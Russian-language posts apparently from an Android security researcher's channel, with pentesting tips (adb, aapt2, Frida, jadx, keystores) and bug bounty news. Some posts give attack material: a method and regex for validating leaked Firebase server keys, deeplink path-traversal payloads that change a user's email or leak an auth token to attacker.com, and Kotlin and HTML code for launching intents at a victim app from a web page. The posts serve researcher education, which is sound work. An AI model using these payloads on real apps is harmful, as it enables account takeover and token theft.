Оказавшись без любимого набора инструментов - можно и приуныть. Но не нужно. Используя только стандартные утилиты из Android SDK можно сделать многое. Рассмотрим на примере aapt2, adb и apkanalyzer:
- aapt2 dump strings target.apk | grep -E '[a-fA-F0-9]{32}' - найти все md5 хэши в приложении
- aapt2 dump xmltree target.apk --file AndroidManifest.xml - получить содержимое манифеста
- adb shell screenrecord /sdcard/demo.mp4 - записать видео с экрана
- adb shell dumpsys package my.target.app - получить много полезной информации о приложении. Например - какие диплинки оно обрабатывает
- adb shell input text <string> - ввести текст в выбранное поле ввода
- apkanalyzer manifest print target.apk - получить содержимое манифеста в xml формате
- apkanalyzer dex code --class com.google.crypto.tink.proto.JwtRsaSsaPkcs1PrivateKey target.apk показать smali-код класса из apk
И все это работает без декомпиляции apk файла. При чем, работает очень быстро. Узнать больше о стандартных cli утилитах можно здесь.
#aht

В приложениях можно встретить относительно новомодную библиотеку DataStore. Она умеет хранить данные либо в key-value формате, либо в формате protobuf-моделей. Понять, что вы столкнулись именно с этой библиотекой - довольно просто. Если есть каталог <app-sandbox>/files/datastore с файлами *.preferences_pb или *.pb, то это оно. Получить из них данные в более-менее адекватном формате можно командой protoc --decode_raw < settings.preferences_pb (аналогично для .pb). Но для preferences_pb есть способ лучше - воспользоваться той же самой библиотекой. Поскольку это key-value хранилище, то его структура очень простая и библиотека выводит все нужные типы сама. Для .pb так красиво и просто сделать не выйдет. Нужно или смириться с raw выводом или реверсить приложение, искать там модели и писать по ним .proto файлы для просмотра через protoc
#aht

Эволюция bugbounty в России продолжается. Новым витком этой эволюции стал запуск Standoff Hacks на BB платформе Standoff365. Эта штука планируется как серия priv8 😎 ивентов, в рамках которых группа заранее отобранных хакеров будет ломать прежде не исследованный скоуп или уже известный, но с повышенными выплатами, а на финальном дне получают разом все вознаграждения за найденные уязвимости.

Попасть на эту движуху можно только по инвайтам. Получить инвайт можно через постель прокачивая рейтинг на платформе. Мне удалось получить такой инвайт 😉 Первое мероприятие состоится 13 мая в Москве, где будут объявлены результаты двухнедельного набега на инфраструктуру выбранной компании. Следующий Standoff Hacks будет уже в другом городе и там обещают еще более широкий скоуп и ништяки. Поделюсь с вами всем, что разрешат по итогу рассказать. Не переключайтесь!

Иногда можно в приложении можно встретить файлы с сертификатами в формате BKS. Посмотреть такой файл с помощью keytool без BKS провайдера не получится. Поэтому для начала его нужно скачать wget https://repo1.maven.org/maven2/org/bouncycastle/bcprov-jdk18on/1.72/bcprov-jdk18on-1.72.jar и передать в параметрах: keytool -list -v -keystore certs.bks -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath bcprov-jdk18on-1.72.jar -storetype BKS -storepass "secret". Обычно, в таких файлах нет ничего интересного. Но кто знает, что попадется на пути исследователя безопасности.
#aht

В Android есть много интересных системных настроек, которые можно посмотреть командой adb shell settings list <namespace>. Значение <namespace> может быть: system, secure, global. Правда большинство полезных настроек сейчас переехали из system/secure в global. Некоторые настройки в этих неймспейсах вообще специфичны для конкретного устройства. С их помощью можно например включить глобальный прокси, установку из недоверенных источников или отключить верификацию подписи.

Пример управления глобальным proxy:

adb shell settings put global http_proxy 192.168.14.33:8081

adb shell settings put global http_proxy :0

#aht

Иногда приходится иметь дело с whitebox проектами, когда исходный код полностью доступен. И все же это не повод не декомпилировать уже собранное приложение. Секрет прост - приложение состоит не только из того, кода, который написал разработчик, но также из внешних зависимостей, которые подключаются из бинарного репозитория типа maven. И смотреть итоговый алгоритм может быть сильно удобнее уже в собранном виде. Тем более компилятор часто делает оптимизации и вычисляет выражения, что тоже делает какие-то куски сильно понятнее чем они выглядят в исходном коде. Да и порой, эти зависимости добавляют новые экспортированные компоненты в итоговый манифест.

Хороший реверсер, как известно, все делает наоборот, поэтому начинать анализ whitebox-а лучше все же с декомпилированного кода.
#aht

Я вам уже рассказывал, что меня пригласили на Standoff Hacks, и вот наконец-то он закончился 🤪 Статья с моей версией происходящего, как и обещал, будет немного позже, а пока посмотрите финальный ролик и поищите меня в нем 😎

Сегодня будет пара активностей на PHD к которым я имею отношение. Про одну из которых расскажу сейчас. Все кто хочет поучаствовать в конкурсе и поломать мобильное приложение банка - забегайте https://bugbounty.standoff365.com/vendors/gdb

Есть желание в рамках PHD провести небольшой “SslPinning talks”. Кому интересно развиртуализироваться, поговорить о том, о сем - подходите к банкомату.

В Google давно уже казалось бы решили проблему с ключами Firebase и теперь строчки вида AIzaSy...., которые вы можете найти в приложениях - практически бесполезны. Другое дело серверные ключи вида AAAAenlyB0l:APA9..., которые являются действительно полезной находкой. С их помощью можно например отправить push уведомления всем пользователям сервиса. Обычно, необходимости в таких ключах на клиенте нет, и вообще Google запрещает размещать такие ключи в клиентском коде. Но иногда они все же попадают в приложения по разными причинам. Проверить такой ключ на валидность можно так:
1. Перехватить запрос на получение FCM токена
2. Сделать запрос на проверку этого токена используя полученный ранее серверный ключ

http https://iid.googleapis.com/iid/info/epsV... "Authorization: key=AAAAenlyB0l:APA9..."

Если все ок, то в ответе прилетит информация о приложении.
Регулярка для поиска таких ключей: AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}
#aht

В качестве эксперимента написал пару статей в журнал Positive Research и хочу поделиться этими статьями здесь. Там много текста, нет картинок и после нескольких итераций редактуры они не очень похожи на то, что я обычно пишу. Но в целом, получилось не стыдно и может быть аудитория этого канала тоже найдет в них что-то интересное для себя.

Безопасность мобильных приложений и устройств - подведение итогов прошлого года, небольшой разбор уязвимостей которые встречались, причин их возникновения и тренды на следующий год

Эволюция уязвимостей в приложениях для Android - в каком-то смысле логическое продолжение предыдущей статьи, в которой мне хотелось раскрыть подробнее некоторые тезисы и покопаться в том как эволюционируют уязвимости в Android. Разобрал вымирающие и актуальные виды уязвимостей, а также сделал небольшой прогноз на будущее. Но будущее скорее всего очень сильно посмеется над моими прогнозами 🙃

Сам журнал можно забрать здесь, а еще они были в печатном виде на прошедшем PHD.

Если хочется инструментировать приложения сразу несколькими Frida-скриптами, но при этом не хочется сливать их в один файл, то можно воспользоваться таким трюком: сначала запустить скрипт требующий ранней инструментации, например c отключением пиннинга, а потом, подключить другой скрипт к уже запущенному приложению. Сделать это можно так:

frida -Uf com.my.app -l unpinning.js # Отлючаем пиннинг (ранняя инструментация)

frida -UF -l fsmonitor.js # Запуск скрипта для текущего активного приложения

#aht

jadx не идеален, и иногда он ошибается выдывая свой знаменитый JADX WARN: Code restructure failed в комментариях к декомпилированному коду. В результате получается совершенно неконсистентный кусок кода и разобрать, что происходит в алгоритме становится достаточно сложно. Но в ряде случаев результат можно улучшить. Это делается с помощью изменения режима декомпиляции: -m, --decompilation-mode. Первое, что стоит попробовать - режим simple. Код станет немногим хуже, но это скорее всего позволит избежать ошибок декомпиляции и читать алгоритм станет легче. Если не помогло, то стоит попробовать режим fallback . Получившийся код будет уже очень близок к smali и разбираться в нем станет тяжелее, но это может быть единственным приемлемым способом понять, что происходит в алгоритме.
#aht

В мобильных приложениях тоже встречаются CSRF. И не только в WebView. Небезопасная обработка диплинков вместе с path traversal вполне может привести к выполнению "полезных" действий от имени пользователя. А в некоторых случаях, и привести у захвату пользовательского аккаунта.

Немного утрированный пример: есть диплинк вида myapp://payment/new/{card_num}, после перехода по которому, приложение выполняет запрос POST https://server.com/api/payments_by_card/{card_num}. Указав вместо номера карты полезную нагрузку вида ../users/email?new=attacker@evil.com можно изменить email пользователя.

Более реальный пример: переход по диплинку myapp://orders/{id} приводит к вызову метода GET https://server.com/api/orders/{id}. Если на этом же сервере у нас есть open redirect, то можно составить такую полезную нагрузку: ../auth?redirect_uri=attacker.com и в логах сервера злоумышленника окажется токен, который цепляется к запросу в заголовке Authorization.
#aht

На прошедшем Positive Hack Days меня угораздило дать интервью автору канала Security by Xyurity, где я как обычно рассказываю что надо много работать, читать хорошие книжки и слушать маму. Короче ради меня вообще не стоит это смотреть 🙈. Но кроме меня, там есть много интересных людей, советы которых могут оказаться более полезными для начинающих специалистов чем мои. В общем, получилось местами забавно и посмотрев весь видос не считаю, что зря потратил время.

Если для эксплуатации уязвимости нужно передать Parcelable класс в intent-е, то есть пара способов это сделать. Представим, что activity ожидает модель User, которая лежит в пакете com.myapp.xxx. Можно создать в эксплойте такую же структуру пакетов, и класс с таким же названием и необходимыми полями. Чтобы не писать реализацию сериализации руками, то можно воспользоваться плагином и добавить к созданному классу аннотацию @Parcelize. Но иногда классы бывают сложными или их требуется несколько сразу. В этом случае проще взять из целевого приложения .dex файлы с этими классами, положить их в assets и работать с ними через DexClassLoader. Пример здесь.
#aht

Эксплуатировать IPC уязвимости можно не только из стороннего приложения, но и из веба. Для этого нужно создать на странице специальную ссылку, нажатие на которую приведет к отправке intent-а целевому приложению. По этому механизму существует средней паршивости документация, но проще использовать чит-код позволяющий перегнать любой intent из вашего эксплойта в web-представление - метод toUri:

val intentUri = Intent().apply {  
    data = Uri.parse("myapp://test")  
    setPackage("com.victim.app")  
    setClassName("com.victim.app", "com.victim.app.VulnerableActivity")  
    putExtra("zahek", "payload")  
}.toUri(Intent.URI_INTENT_SCHEME)

В результате, в intentUri окажется ссылка вида intent://test#Intent;scheme=myapp;package=com.victim.app;component=com.victim.app/.VulnerableActivity;S.zahek=payload;end, которую уже можно использовать на странице:

<!DOCTYPE html>
<html>
    <body>
    <a href="intent://test...">Click here!</a>
    </body>
</html>

#aht